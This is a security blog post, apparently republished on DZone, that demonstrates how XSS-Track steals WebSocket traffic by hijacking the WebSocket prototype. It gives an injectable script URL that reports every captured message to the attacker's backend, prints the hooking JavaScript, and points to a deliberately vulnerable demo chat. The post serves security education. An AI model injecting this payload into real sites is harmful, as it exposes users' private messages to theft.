XSS-Track as a HTML5 WebSockets traffic sniffer
That being said, developers must know that using WebSockets will always have some security issues. Just to name the few:
- the client can be spoofed (it doesn't have to be the browser)
- ws:// server can't be trusted (MiTM attacks)
- you need to handle the authentication
- the communication over ws:// protocol is plaintext.
What could get wrong?
There are many possibilities, but for today let's focus on this:It's important to know that WebSockets (without any additional precautions) is not a channel to send restricted messages through, because e.g. a single XSS flaw on client side could reveal all those private bits to the attacker.
To demonstrate, XSS-Track now supports stealing WebSockets sent and received messages. All you need to do is inject a http://kotowicz.net/xss-track/track.js?websocket=1 script into a vulnerable site and all mesages will be reported to your backend.
You could also make it http://kotowicz.net/xss-track/track.js?websocket=1&debug=1 so that the messages will be logged to console instead of sent to backend.
Demo
To be able to test WebSockets injection, you need to have WebSockets support :) Use Google Chrome as your WebSockets client and navigate to http://vuln.nodester.com - it's a simple vulnerable chat application using WebSockets with all the instructions. You can also set the server up for yourself.How was that possible?
No rocket science here, just modifying WebSockets built-in object:
if (captureWebsocket && window.WebSocket) {
// add logging onmessage listener
function captureRecv(ws) {
if (typeof ws.captured == 'undefined') {
ws.addEventListener('message', function(e) {
var event = {
event: 'websocket_recv',
from: location,
data: e.data,
url: e.target.URL
}
log(event);
});
ws.captured = true;
}
}
// capture sending
var captureSend = this.contentWindow.WebSocket.prototype.send = function() {
captureRecv(this); // in case socket contruction was before constructor switching
var event = {
event: 'websocket_send',
from: location,
data: arguments[0],
url: this.URL
};
log(event);
return window.WebSocket.prototype.send.apply(this, arguments);
}
// capture constructor
this.contentWindow.WebSocket = function(a,b) {
var base;
base = (typeof b !== "undefined") ? new WebSocket(a,b) : new WebSocket(a);
captureRecv(base);
base.send = captureSend;
this.__proto__ = WebSocket.constructor;
return base;
}
} As always, you can see the source code yourself.
Update: I've just found out this
technique of manipulating prototype object to change behavior actually
got a name of 'Prototype Hijacking' and was used by Stefano di Paola in 2007 to hijack plain old AJAX communication.
Of course, Javascript using it's prototypal inheritance needs to have
this kind of 'weakness' and I consider this a brilliant feature of the
language itself. Javascript FTW!
(Note: Opinions expressed in this article and its replies are the opinions of their respective authors and not those of DZone, Inc.)





